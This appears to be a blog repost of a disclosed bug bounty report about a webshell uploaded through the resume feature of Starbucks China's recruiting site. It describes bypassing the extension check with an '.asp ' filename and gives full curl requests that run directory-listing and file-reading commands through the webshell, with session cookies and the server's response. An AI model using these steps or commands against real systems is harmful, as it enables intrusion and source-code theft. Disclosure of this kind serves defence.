hackerone / ecjobs.starbucks.com.cn

Bug Bounty 2019. 11. 28. 10:48

Starbucks disclosed on HackerOne: Webshell via File Upload on...

johnstone discovered An arbitrary file upload via the resume functionality at https://ecjobs.starbucks.com.cn which led to arbitrary code execution by uploading a webshell. @johnstone — thank for reporting this vulnerability, your patience while we followe

hackerone.com

Sign in the url(https://ecjobs.starbucks.com.cn) and direct to the resume endpoint.
Use burp suite tools to interupt the avatar upload request.
Replace the filename type .jpg to aspwhich have a space character behind and modify the content

curl -i -s -k -X $'GET' \ -H $'Host: ecjobs.starbucks.com.cn' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: _ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' -H $'Upgrade-Insecure-Requests: 1' \ -b $'_ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' \ $'https://ecjobs.starbucks.com.cn/recruitjob/tempfiles/temp_uploaded_739175df-5949-4bba-9945-1c1720e8e109.asp?getsc=dir%20d:\\TrustHX\\STBKSERM101\\www_app%20%2fd%2fs%2fb'

The response content:

HTTP/1.1 200 OK Date: Fri, 08 Mar 2019 02:56:19 GMT Server: wswaf/2.13.0-5.el6 Content-Type: text/html Cache-Control: private X-Powered-By: ASP.NET X-Via: 1.1 jszjsx51:1 (Cdn Cache Server V2.0), 1.1 PSjxncdx5rt58:6 (Cdn Cache Server V2.0) Connection: close Content-Length: 1814533 <html> <body> <h1>POC by hackerone_john stone</h1> <textarea readonly cols=80 rows=25> d:\TrustHX\STBKSERM101\www_app\bin d:\TrustHX\STBKSERM101\www_app\common d:\TrustHX\STBKSERM101\www_app\concurrent_test d:\TrustHX\STBKSERM101\www_app\Default.aspx d:\TrustHX\STBKSERM101\www_app\Global.asax d:\TrustHX\STBKSERM101\www_app\hximages_v6 .................................... </textarea> </body> </html>

Show the internal source code

curl -i -s -k -X $'GET' \ -H $'Host: ecjobs.starbucks.com.cn' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: _ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' -H $'Upgrade-Insecure-Requests: 1' \ -b $'_ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' \ $'https://ecjobs.starbucks.com.cn/recruitjob/tempfiles/temp_uploaded_739175df-5949-4bba-9945-1c1720e8e109.asp?getsc=type%20d:\\TrustHX\\STBKSERM101\\www_app\\concurrent_test\\new_application_concurrent_test__svc.cs'

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